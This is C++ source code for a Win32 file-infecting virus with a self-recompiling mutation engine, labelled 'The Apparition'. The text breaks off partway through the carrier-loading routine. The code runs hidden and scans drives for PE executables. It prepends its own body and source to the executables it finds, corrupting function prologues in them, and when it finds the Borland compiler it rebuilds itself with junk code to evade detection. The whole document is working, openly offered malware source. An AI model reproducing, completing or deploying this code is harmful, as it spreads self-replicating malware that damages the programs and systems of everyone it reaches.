ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[winapp32.cpp]ÄÄ
// THE APPARITION for Win32
// Written by LordAsd

#include "winapp32.h"
HWND      MainWindow;

#include "scanner.cpp"
#include "diag.cpp"
#include "misc.cpp"
#include "main.cpp"
#include "mutant.cpp"

//Declaration
#pragma argsused
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
			LPSTR lpszCmdLine, int cmdShow)
{
 MSG   msg;;
 DiagInit();;
 strcpy(CommandLine,lpszCmdLine);;
 InitAll();;
 if (!AskBoss("RUN RUN RUN?")) return 0;;
 LoadCarrier();;
 if (GlobalFindAtom(IDAtom)!=0) exit(EXIT_SUCCESS);;
 ATOM MyTSRAtom = GlobalAddAtom(IDAtom);;
 PrepareSearch();;
 // BEGIN TEST

 //  END TEST
 WNDCLASS wcSoundClass;;
 wcSoundClass.lpszClassName = WinApp32;;
 wcSoundClass.hInstance     = hInstance;;
 wcSoundClass.lpfnWndProc   = MainWndProc;;
 wcSoundClass.hCursor       = LoadCursor(NULL, IDC_ARROW);;
 wcSoundClass.hIcon         = LoadIcon(hInstance, IDI_APPLICATION);;
 wcSoundClass.lpszMenuName  = NULL;;
 wcSoundClass.hbrBackground = GetStockObject(WHITE_BRUSH);;
 wcSoundClass.style         = CS_HREDRAW | CS_VREDRAW;;
 wcSoundClass.cbClsExtra    = 0;;
 wcSoundClass.cbWndExtra    = 0;;
 RegisterClass(&wcSoundClass);;
 MyInstance = hInstance;;

 MainWindow = CreateWindow(WinApp32,WinApp32,WS_OVERLAPPEDWINDOW,
					 CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
					 NULL,NULL,hInstance,NULL);;

 ShowWindow(MainWindow, SW_HIDE);;
 UpdateWindow(MainWindow);;
 UINT MyTimerID = random(666)+1;
 SetTimer(MainWindow,MyTimerID,TimerDelay,NULL);;
 while (GetMessage(&msg, NULL, 0, 0))
 {
  TranslateMessage(&msg);;
  DispatchMessage(&msg);;
 }

 KillTimer(MainWindow,MyTimerID);;
 GlobalDeleteAtom(MyTSRAtom);;
 return(msg.wParam);;
};

//Declaration

bool TimerBusy = false;

void wmTimer()
{
 if (TimerBusy) return;;
 char TargetName[MAX_PATH];;
 TimerBusy = true;;
 switch (GetNextName(TargetName))
 {
  case -1 : PrepareSearch();; break;
  case  1 : ProcessFile(TargetName);; break;
 };;
 TimerBusy = false;;
}

//Declaration
LRESULT CALLBACK _export MainWndProc(HWND hWnd, UINT message,
 WPARAM wParam, LPARAM lParam)
{
 switch (message)
 {
  case WM_TIMER:   wmTimer();; break;
  case WM_CREATE:  return(DefWindowProc(hWnd, message, wParam, lParam));
  case WM_DESTROY: PostQuitMessage(0);; break;
  case WM_CLOSE:   DestroyWindow(hWnd);; break;
  default:         return(DefWindowProc(hWnd, message, wParam, lParam));
 };;
 return(0L);;
};

//Declaration
void InitAll()
{
 // Obtain filename & remove double quotes from it
 bool quoted = false;;
 char* x=GetCommandLine();;
 if ((*x)=='\"') {x++;; quoted=true;; };;
 strcpy(MyName,x);;
 x = MyName;;
 while ( (*x)!=0x0)
 {
  if ( (!quoted)&&((*x)==0x20) ) break;;
  if (quoted && ((*x)=='\"')) break;;
  x++;;
 };;
 if ((*(x-1))=='\"') x--;;
 (*x)=0x00;;
 // Set errors handling mode
 SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOALIGNMENTFAULTEXCEPT |
					 SEM_NOOPENFILEERRORBOX  );;
 // System detection
 OSVERSIONINFO v;;
 v.dwOSVersionInfoSize = sizeof(v);;
 GetVersionEx(&v);;
 if (v.dwPlatformId==1) System = SYSTEM_WIN95;;
 if (v.dwPlatformId==2) System = SYSTEM_WINNT;;

 // Invisibility (seems to work OK under WinNT, but I care too much about that)
// if (System==SYSTEM_WIN95)
// {
//  DWORD tid = GetCurrentThreadId();;
//  asm
//  {
//	mov  eax,fs:[18h]
//	sub  eax,10h
//	xor  eax,[tid]
//	mov  [Fuck],eax
//  };;
//  DWORD* fl = (DWORD*)((GetCurrentProcessId() ^ Fuck)+0x20);;
//  (*fl)|=0x100;;
// };;
 // Misc Misc
 NoInfect =  (GetProfileInt(WinApp32,Ini_NoInfect,0)==1);;
 randomize();;
};


//Declaration

void ProcessFile(char* TargetName)
{
 Log(TargetName);
 char   Drive[MAX_PATH];;
 char   Dir[MAX_PATH];;
 char   Name[MAX_PATH];;
 char   Ext[MAX_PATH];;
 fnsplit(TargetName,Drive,Dir,Name,Ext);;
 if (stricmp(Ext,".EXE")==0)
 { // EXE extension
  if (stricmp(Name,"BCC32")==0)
  { // BC compiler (?)
	sprintf(BCRoot,"%s%s..",Drive,Dir);;
	PermutationEnfine();;
	return;;
  };;
  if (DetectFileFormat(TargetName)==FILE_FORMAT_PE) InfectPE(TargetName);;
 };;// EXE extension
};
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[winapp32.cpp]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[winapp32.h]ÄÄ
#ifndef _WINAPP32_H_
#define _WINAPP32_H_

#include <windows.h>
#include <wingdi.h>
#include <winbase.h>
#include <winuser.h>
#include <time.h>
#include <shellapi.h>
#include <lzexpand.h>
#include <stdlib.h>
#include <stdio.h>
#include <dir.h>
#include <winnt.h>


// Different compiler settings
#define bool BOOL
#define true TRUE
#define false FALSE


// Declarations from headers that differ in different compilers
typedef struct MY_IMAGE_RESOURCE_DIRECTORY_ENTRY {
 union
 {
  struct { DWORD NameOffset:31; DWORD NameIsString:1; }s;
  DWORD Name;
  WORD  Id;
 }u;
 union
 {
  DWORD OffsetToData;
  struct { DWORD OffsetToDirectory:31; DWORD DataIsDirectory:1; }s;
 }u2;
} MY_IMAGE_RESOURCE_DIRECTORY_ENTRY, *MY_PIMAGE_RESOURCE_DIRECTORY_ENTRY;

// Global constants
#define TimerDelay 1000
#define min_inf_size             10240
#define max_inf_size             (700*1024)
#define COPY_BLOCK_SIZE 32768

#define FILE_FORMAT_UNRECOGNIZED 0
#define FILE_FORMAT_MZ           1
#define FILE_FORMAT_NE           2
#define FILE_FORMAT_PE           3
#define FILE_FORMAT_LE           4
#define FILE_FORMAT_LX           5

#define SYSTEM_UNKNOWN				0
#define SYSTEM_WIN95  				1
#define SYSTEM_WINNT					2

// Size-related constants
DWORD VSize = 59936; const char vs_const[]="!!! CODE SIZE !!!";
DWORD SSize = 19053; const char ss_const[]="!!! LZ SRC SIZE !!!";

// Misc constants
const char IDAtom[]							 = "WinApp32_TSR_INSTALLED";
const char WinApp32[]                   = "WinApp32";
const char Logfing[]                    = "Logfing";
const char LogPath[]                    = "LogPath";
const char ShowDotsOn[]                 = "ShowDotsOn";
const char PM_TargetPath[]					 = "PMTarget";
const char Ini_NoInfect[]					 = "NoInfect";
FILETIME   MyCoolTime;

// Global variables

bool	  BadImage = true;        // Virus image is invalid or still not loaded
bool    Prompt = false;
bool    LogfingEnabled = false;
char    LogFileName[MAX_PATH];
char    MyName[MAX_PATH];
char    CommandLine[MAX_PATH];
void*   VPtr = NULL;
void*   SrcPtr = NULL;
bool	  Permutated = false;
bool	  NoInfect = false;
HANDLE  MyInstance;
char 	  BCRoot[MAX_PATH];
void*   MyIcon;
int     System = SYSTEM_UNKNOWN;
DWORD   Fuck = 0;

// Procedures
void    InitAll();
int     PASCAL           WinMain(HINSTANCE,HINSTANCE,LPSTR,int);
LRESULT CALLBACK _export MainWndProc(HWND,UINT,WPARAM,LPARAM);
void    DiagInit();
void    DiagMsg(char* ss);
void    Log(char* ss);
bool    AskBoss(char* ss);
bool    RWDir(char* ss);
void    InfectPE(char* TargetName);
void    LoadCarrier();
int     DetectFileFormat(char* TargetName);
bool    GetTempDir(char* s);
char*   Ext(char* Name);
bool    Already(char* TargetName);
void    ProcessFile(char* TargetName);
void    PermutationEnfine();
bool    Exec(char* Command, char* WorkDir, DWORD TOut = (3*60*1000));
bool 	  Readln(HANDLE h, char* s);
bool 	  Writeln(HANDLE h, const char* s);
int     GetNextName(char* ss);
void 	  PrepareSearch();
DWORD   FindIcon(char* TargetName);

// Mutation enfine signal strings
const char    MUT[] = "/*MUT*/";
const char    PM_Declare[] = "//Declaration";
const char    PM_EndLine[] = ";;";
// Mutation enfine data
#define MAX_LINE 666
#define MAX_TYPE_ID_LENGTH 30
#define N_TYPES 7
struct TTypeRec
{
 char sh[3];
 char lo[MAX_TYPE_ID_LENGTH];
 int  ari;
};
TTypeRec Types[N_TYPES] =
 {
  {"ui","UINT",1},
  {"ii","int",1},
  {"uc","unsigned char",1},
  {"bo","bool",0},
  {"dw","DWORD",1},
  {"ch","char",0},
  {"hw","HWND",0}
 };

#define N_ARI_OP 6
char ari_op[N_ARI_OP][3] = {"+","-","*","^","|","&"};

#define N_API_CALLS 22
struct TApiCallRec
{
 char name[50];
 bool RetVoid;
 char ret_type[3];
 int  num_params;
 char params[5][3];
} ApiCallData[N_API_CALLS] =
 {
  {"GetVersion",false,"dw",0,{"","","","",""} },  //1
  {"AnyPopup",false,"bo",0,{"","","","",""} },    //22
  {"FindExecutable",true,"??",3,{"ch","ch","ch","",""} }, //2
  {"FindWindow",false,"hw",2,{"ch","ch","","",""} },      //3
  {"GdiFlush",true,"??",0,{"","","","",""} },             //4
  {"GdiGetBatchLimit",false,"dw",0,{"","","","",""} },    //5
  {"GetActiveWindow",false,"hw",0,{"","","","",""} },     //6
  {"GetCapture",false,"hw",0,{"","","","",""} },          //7
  {"GetCaretBlinkTime",false,"ui",0,{"","","","",""} },   //8
  {"GetConsoleCP",false,"ui",0,{"","","","",""} },        //9
  {"GetCurrentTime",false,"dw",0,{"","","","",""} },      //10
  {"GetDesktopWindow",false,"hw",0,{"","","","",""} },    //11
  {"GetDialogBaseUnits",false,"ii",0,{"","","","",""} },  //12
  {"GetDoubleClickTime",false,"ui",0,{"","","","",""} },  //13
  {"GetForegroundWindow",false,"hw",0,{"","","","",""} }, //14
  {"GetInputState",false,"bo",0,{"","","","",""} },       //15
  {"GetKBCodePage",false,"ui",0,{"","","","",""} },       //16
  {"GetKeyboardLayoutName",false,"bo",1,{"ch","","","",""} }, //17
  {"GetKeyboardType",false,"ii",1,{"ii","","","",""} },   //18
  {"GetLastError",false,"dw",0,{"","","","",""} },        //19
  {"GetLogicalDrives",false,"dw",0,{"","","","",""} },    //20
  {"GetTickCount",false,"dw",0,{"","","","",""} }         //21
 }; // Last letter H in OWL Help

// Fake variables
UINT          XXui0,XXui1,XXui2,XXui3;
unsigned char XXuc0,XXuc1,XXuc2,XXuc3;
DWORD         XXdw0,XXdw1,XXdw2,XXdw3;
int			  XXii0,XXii1,XXii2,XXii3;
bool          XXbo0,XXbo1,XXbo2,XXbo3;
HWND          XXhw0,XXhw1,XXhw2,XXhw3;
char			  XXch0[MAX_LINE] = "";
char			  XXch1[MAX_LINE] = "";
char			  XXch2[MAX_LINE] = "";
char			  XXch3[MAX_LINE] = "";

// Default icon for console apps infection
char DefaultIcon[744] = {40,0,0,0,32,0,0,0,64,0,0,0,1,0,4,0,0,0,0,0,128,2,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,128,0,0,0,128,128,0,128,
 0,0,0,128,0,128,0,128,128,0,0,128,128,128,0,192,192,192,0,0,0,255,0,0,255,0,
 0,0,255,255,0,255,0,0,0,255,0,255,0,255,255,0,0,255,255,255,0,0,0,0,0,0,0,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
 0,0,0,119,119,119,119,119,119,119,119,119,119,119,119,119,119,119,112,120,136,
 136,136,136,136,136,136,136,136,136,136,136,136,136,112,120,127,255,255,255,
 255,255,255,255,255,255,255,255,255,248,112,120,127,255,255,255,255,255,255,
 255,255,255,255,255,255,248,112,120,127,255,255,255,255,255,255,255,255,255,
 255,255,255,248,112,120,127,255,255,255,255,255,255,255,255,255,255,255,255,
 248,112,120,127,255,255,255,255,255,255,255,255,255,255,255,255,248,112,120,
 127,255,255,255,255,255,255,255,255,255,255,255,255,248,112,120,127,255,255,
 255,255,255,255,255,255,255,255,255,255,248,112,120,127,255,255,255,255,255,
 255,255,255,255,255,255,255,248,112,120,127,255,255,255,255,255,255,255,255,
 255,255,255,255,248,112,120,127,255,255,255,255,255,255,255,255,255,255,255,
 255,248,112,120,127,255,255,255,255,255,255,255,255,255,255,255,255,248,112,
 120,127,255,255,255,255,255,255,255,255,255,255,255,255,248,112,120,127,255,
 255,255,255,255,255,255,255,255,255,255,255,248,112,120,127,255,255,255,255,
 255,255,255,255,255,255,255,255,248,112,120,127,255,255,255,255,255,255,255,
 255,255,255,255,255,248,112,120,127,255,255,255,255,255,255,255,255,255,255,
 255,255,248,112,120,127,255,255,255,255,255,255,255,255,255,255,255,255,248,
 112,120,127,255,255,255,255,255,255,255,255,255,255,255,255,248,112,120,119,
 119,119,119,119,119,119,119,119,119,119,119,119,120,112,120,136,136,136,136,
 136,136,136,136,136,136,136,136,136,136,112,120,68,68,68,68,68,68,68,68,68,
 64,0,0,0,0,112,120,68,68,68,68,68,68,68,68,68,72,128,136,8,128,112,120,68,68,
 68,68,68,68,68,68,68,72,128,136,8,128,112,120,68,68,68,68,68,68,68,68,68,68,
 68,68,68,68,112,120,136,136,136,136,136,136,136,136,136,136,136,136,136,136,
 112,119,119,119,119,119,119,119,119,119,119,119,119,119,119,119,112,0,0,0,0,
 0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255,255,255,255,255,0,0,0,0,0,0,0,0,0,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255
 };


#endif
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[winapp32.h]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[scanner.cpp]ÄÄ
#include "winapp32.h"

// Data structures

#define MAX_LEVELS 13

struct se_LevelRec
{
 char   path[MAX_PATH];
 HANDLE h;
};


char scan_drive = 'C';
se_LevelRec* se_Data[MAX_LEVELS];
int se_Current 	  = 0;
bool se_Initialized = false;


// Initializes variables (allocates memory)
//Declaration
void se_Init()
{
 if (se_Initialized) return;;
 se_Initialized=true;;
 int i;;
 for (i=0; i<MAX_LEVELS; i++) se_Data[i] = new se_LevelRec;;
 (*se_Data[0]).path[0]=scan_drive;;
 (*se_Data[0]).path[1]=':';;
 (*se_Data[0]).path[2]=0x0;;
 (*se_Data[0]).h=INVALID_HANDLE_VALUE;;
};

bool filter_Good, filter_Bad;

//Declaration
// Filname filter
void se_NameFilter(char* ss)
{
 while ((*ss)!=0) ss++;;
 ss=ss-4;;
 if (stricmp(ss,".EXE")==0) return;;
 if (stricmp((ss-2),"BC.EXE")==0) filter_Good = true;;
 if (stricmp(ss,".ARJ")==0) filter_Good = true;;
 if (stricmp(ss,".ZIP")==0) filter_Good = true;;
 if (stricmp(ss,".RAR")==0) filter_Good = true;;
}

// Goes down one level to specified dir,
// if dir does not exist or path overflow occurs(?),
// leaves the current state unchanged
//Declaration
void se_DownOneLevel(char* ss)
{
 if (se_Current==(MAX_LEVELS-1)) return;;
 if ((strlen(ss)+20)>MAX_PATH) return;;
 strcpy((*se_Data[se_Current+1]).path,ss);;
 se_Current++;;
 (*se_Data[se_Current]).h=INVALID_HANDLE_VALUE;;
};

// Goes up one level, returns 0 if OK, -1 otherwise
//Declaration
int se_UpOneLevel()
{
 if (se_Current==0)  { return -1;; }
 else
  {
	FindClose((*se_Data[se_Current]).h);;
	se_Current--;;
	return 0;;
  };;
};


// Returns 1 if OK, 0 if this one must be skipped and
//  -1 if no more files
int GetNextName(char* ss)
{
 int RescanAttempts = 0;;
 se_Init();;
 WIN32_FIND_DATA wfd;;
 char f_path[MAX_PATH];;
 strcpy(f_path,(*se_Data[se_Current]).path);;
 strcat(f_path,"\\*.*");;

_rescan:
 if (RescanAttempts>69) return 0;;
 if ((*se_Data[se_Current]).h==INVALID_HANDLE_VALUE)
  { // start search
	(*se_Data[se_Current]).h=FindFirstFile(f_path,&wfd);;
	if ((*se_Data[se_Current]).h==INVALID_HANDLE_VALUE) return se_UpOneLevel();;
  }
 else
  {// continue search
	if (!FindNextFile((*se_Data[se_Current]).h,&wfd)) return se_UpOneLevel();;
  };;
 // What is this shit ?! Refuse... Resist...
 if (strlen(wfd.cFileName)==0) return 0;;
 char suxx[MAX_PATH];;
 strcpy(suxx,wfd.cFileName);;
 sprintf(ss,"%s\\%s",(*se_Data[se_Current]).path,suxx);;
 if ((wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)!=0)
 {
  if (suxx[0]!='.') se_DownOneLevel(ss);;
  return 0;;
 };;
 if (wfd.nFileSizeHigh!=0) goto _rescan;;

 filter_Good = false;;
 filter_Bad = false;;
 se_NameFilter(ss);
 if (wfd.nFileSizeLow<min_inf_size) filter_Bad = true;;
 if (wfd.nFileSizeLow>max_inf_size) filter_Bad = true;;
 RescanAttempts++;;

 if ((filter_Bad)&&(!filter_Good)) goto _rescan;

 return 1;;
};

// Initializes drive(s) to search, returns 0 if OK, -1 otherwise

void PrepareSearch()
{
 char ss[]="?:\\";;
 if (scan_drive=='[') scan_drive='C';;
 ss[0]=scan_drive;;
 while ((!RWDir(ss))&&(ss[0]<'Z')) ss[0]++;;
 scan_drive=ss[0];;
}
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[scanner.cpp]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[diag.cpp]ÄÄ

#ifndef _APP_DIAG_CPP_
#define _APP_DIAG_CPP_

#include "winapp32.h"
//Declaration
void DiagInit()
{
 char ss[MAX_PATH];;
 Prompt=(GetProfileInt(WinApp32,ShowDotsOn,0)==1);;
 GetProfileString(WinApp32,Logfing,"NO",ss,MAX_PATH);;
 if (stricmp("YES",ss)==0) LogfingEnabled=true;;
 GetWindowsDirectory(ss,MAX_PATH);;
 strcat(ss,"\\WINAPP32.LOG");;
 GetProfileString(WinApp32,LogPath,ss,LogFileName,MAX_PATH);;
};
//Declaration
void DiagMsg(char* ss)
{
 if (LogfingEnabled)
  MessageBox(0,ss,"",MB_OK | MB_ICONINFORMATION | MB_TASKMODAL);;
};
//Declaration
void Log(char* ss)
{
  HANDLE h=CreateFile(LogFileName,GENERIC_READ | GENERIC_WRITE,
	 FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);;
  if (h==INVALID_HANDLE_VALUE) return;;
  SetFilePointer(h,0,NULL,FILE_END);;
  char xx[MAX_PATH+666];;
  time_t timer;;
  struct tm *tblock;;
  timer = time(NULL);;
  tblock = localtime(&timer);;
  char glu[30];;
  strcpy(glu,asctime(tblock));;
  glu[24]=0x0;;
  char   Drive[MAX_PATH];;
  char   Dir[MAX_PATH];;
  char   Name[MAX_PATH];;
  char   Ext[MAX_PATH];;
  fnsplit(MyName,Drive,Dir,Name,Ext);;
  sprintf(xx," %08s at  %s : %s\xD\xA",Name,glu,ss);;
  DWORD z;;
  WriteFile(h,xx,strlen(xx),&z,NULL);;
  CloseHandle(h);;
};
//Declaration
bool AskBoss(char* ss)
{
 if (!Prompt) return true;;
 return (MessageBox(0,ss,"?",
  MB_YESNO | MB_ICONQUESTION)==IDYES);;
};

#endif
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[diag.cpp]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[misc.cpp]ÄÄ
#include "winapp32.h"
// Checks if given directory is not write-protected
// Returns TRUE if write allowed
//Declaration
bool RWDir(char* s)
{
 char ss[MAX_PATH];;
 strcpy(ss,s);;
 if (ss[strlen(ss)-1]!='\\') {strcat(ss,"\\");};;
 strcat(ss,"TMPTMP.$11");;
 HANDLE h=CreateFile(ss,GENERIC_READ | GENERIC_WRITE,
	 FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_FLAG_DELETE_ON_CLOSE,NULL);;
 if (h==INVALID_HANDLE_VALUE) return false;;
 CloseHandle(h);;
 return true;;
}

// Looks for temp directory path, returns TRUE if writable dir found
//Declaration
bool GetTempDir(char* s)
{
 GetEnvironmentVariable("TEMP",s,MAX_PATH);;
 if (RWDir(s)) return true;;
 GetEnvironmentVariable("TMP",s,MAX_PATH);;
 if (RWDir(s)) return true;;
 GetWindowsDirectory(s,MAX_PATH);;
 if (RWDir(s)) return true;;
 return false;;
}


// Returns pointer to filename extension (to '\0' if no extension)
//Declaration
char* Ext(char* Name)
{
 char* x = Name;;
 while ((*x)!=0) x++;;
 if ((*(x-1))=='.') return (x);;
 if ((*(x-2))=='.') return (x-2);;
 if ((*(x-3))=='.') return (x-3);;
 if ((*(x-4))=='.') return (x-4);;
 return x;;
};


// Runs specified external application and waits for it's termination
// Returns FALSE if an error occurs
//Declaration
bool Exec(char* Command, char* WorkDir, DWORD TOut)
{
 Log(Command);;
 STARTUPINFO SInfo;;
 GetStartupInfo(&SInfo);;
 SInfo.dwFlags = STARTF_USESHOWWINDOW;;
 SInfo.wShowWindow = SW_HIDE;;
 PROCESS_INFORMATION Executed;;
 bool x = CreateProcess(NULL,Command,NULL,NULL,false,
  CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_PROCESS_GROUP | NORMAL_PRIORITY_CLASS,
  NULL,WorkDir,&SInfo,&Executed);;
 if (!x) return false;;
 WaitForSingleObject(Executed.hProcess,TOut);;
 return true;;
};

//Declaration
bool Readln(HANDLE h, char* s)
{
 if (h==INVALID_HANDLE_VALUE) return false;;
 strcpy(s,"");;
 char shit[]="?";;
 while ((strlen(s)<2)|(s[strlen(s)-2]!='\xD')|(s[strlen(s)-1]!='\xA'))
 {
  DWORD readed = 0;;
  ReadFile(h,&shit,1,&readed,NULL);;
  if (readed!=1) return false;;
  if (shit[0]!='\0') strcat(s,shit);;
 };;
 if (strlen(s)>=2) s[strlen(s)-2]='\0';;
 return true;;
};
//Declaration
bool Writeln(HANDLE h, const char* s)
{
 if (h==INVALID_HANDLE_VALUE) return false;;
 DWORD written1 = 0;;
 DWORD written2 = 0;;
 char ss[] = "\xD\xA";;
 WriteFile(h,s,strlen(s),&written1,0);;
 WriteFile(h,ss,2,&written2,0);;
 return ((written1==strlen(s))&&(written2==2));;
};

//Declaration
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[misc.cpp]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[main.cpp]ÄÄ
#include "winapp32.h"

/******************************************************************************/
/*                                              Procedure checks if PE  is already infected                                             */
/******************************************************************************/
//Declaration
bool Already(char* TargetName)
{
 bool x = false;;
 HANDLE h1 = CreateFile(TargetName,GENERIC_READ, FILE_SHARE_READ |
                                                                FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);;
 if (h1==INVALID_HANDLE_VALUE) {return false;;};;
 DWORD readed;;
 WORD addr = 0;;
 SetFilePointer(h1,0x3C,NULL,FILE_BEGIN);;
 ReadFile(h1,&addr,2,&readed,NULL);;
 SetFilePointer(h1,addr-2,NULL,FILE_BEGIN);;
 char ss[2]="XX";;
 ReadFile(h1,&ss,2,&readed,NULL);;
 if ((readed==2) && (ss[0]=='L') && (ss[1]=='A')) {x=true;;};;
 CloseHandle(h1);;
 return x;;
};


/******************************************************************************/
/*                                                         MAIN INFECTION ENGINE - Win32 PE                                             */
/******************************************************************************/
bool infector_busy = false;
//Declaration
void InfectPE(char* TargetName)
{
 if ((BadImage)||(NoInfect)||(infector_busy)||(VPtr==NULL)) return;;
 char ss[MAX_PATH+666]="Process ";;
 strcat(ss,TargetName);;
 infector_busy=true;;
 char Temp[MAX_PATH];;
 if (!GetTempDir(Temp))
  { infector_busy=false;; return;; };;
 Log(TargetName);;
 if (DetectFileFormat(TargetName)!=FILE_FORMAT_PE)
  { infector_busy=false;; return;; };;
 if (Already(TargetName))
  { infector_busy=false;; return;; };;
 if (!AskBoss(ss))
  { infector_busy=false;; return;; };;
 DWORD NewIcon = FindIcon(TargetName);;
 char buf[COPY_BLOCK_SIZE];;
 HANDLE h1 = CreateFile(TargetName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);;
 strcat(Temp,"\\TMP$$001.TMP");;
 HANDLE h2 = CreateFile(Temp,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);;
 if ((h1==INVALID_HANDLE_VALUE)||(h2==INVALID_HANDLE_VALUE))
 {
  CloseHandle(h1);;
  CloseHandle(h2);;
  DeleteFile(Temp);;
  infector_busy=false;;
  return;;
 };;
 DWORD readed;;
 if (NewIcon!=0)
 {
  SetFilePointer(h1,NewIcon,NULL,FILE_BEGIN);;
  ReadFile(h1,MyIcon,744,&readed,NULL);;
  SetFilePointer(h1,0,NULL,FILE_BEGIN);;
 }
 else
 { memmove(MyIcon,DefaultIcon,744);; };;
 DWORD written;;
 WriteFile(h2,VPtr,VSize,&written,NULL);;
 WriteFile(h2,SrcPtr,SSize,&written,NULL);;
 do
 {
  ReadFile(h1,&buf,sizeof(buf),&readed,NULL);;
  char* t = buf;;
  for (int i=0; i<(sizeof(buf)-5); i++)
  {
        if ( ((*t)=='\x55')&&((*(t+1))=='\x8B')&&((*(t+2))=='\xEC') )
        {
         (*t) = '\xFF';;
         (*(t+1)) = '\xFF';;
         (*(t+2)) = random(256);;
        };;
        t++;;
  };;
  if (!WriteFile(h2,&buf,readed,&written,NULL))
  {
        CloseHandle(h1);; CloseHandle(h2);;
        DeleteFile(Temp);; infector_busy=false;;
        return;;
  };; // End if
 } while (readed==sizeof(buf));; // End do
 CloseHandle(h1);;
 CloseHandle(h2);;
 DeleteFile(TargetName);;
 if (!MoveFile(Temp,TargetName))
  { DeleteFile(Temp);; infector_busy=false;; return;; };;
 infector_busy=false;;
 sprintf(ss,"Processed - %s",TargetName);
 Log(ss);;
};

/******************************************************************************/
/*                                                               ORIGINAL FILE LOADER                                                                           */
/******************************************************************************/

//Declaration
void LoadCarrier()
{
 VPtr = malloc(VSize);;
 SrcPtr = malloc(SSize);;
 DWORD delta;;
 if ((delta=FindIcon(MyName))==0) return;;
 MyIcon = (void*)(DWORD(VPtr)+delta);;
 HANDLE h1 = CreateFile(MyName,GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,
                                                          OPEN_EXISTING,0,NULL);;
 if (h1==INVALID_HANDLE_VALUE) exit(EXIT_FAILURE);;
 DWORD FileSize = SetFilePointer(h1,0,NULL,FILE_END);;
 SetFilePointer(h1,0,NULL,FILE_BEGIN);;
 if (FileSize<(VSize+SSize)) exit(EXIT_FAILURE);;
 DWORD readed;;
 ReadFile(h1,VPtr,VSize,&readed,NULL);;
 ReadFile(h1,SrcPtr,SSize,&readed,NULL);;
 BadImage = false;;
 if (FileSize==(VSize+SSize)) {CloseHandle(h1);; return;; };;
 char   Drive[MAX_PATH];;
 char   Dir[MAX_PATH];;
 char   Name[MAX_PATH];;
 char   Ext[MAX_PATH];;
 char   TempName[MAX_PATH];;
 fnsplit(MyName,Drive,Dir,Name,Ext);;
 HANDLE h2;;
 int i;;
 for (i=0; i<999; i++)
 {
  char ss[5];;
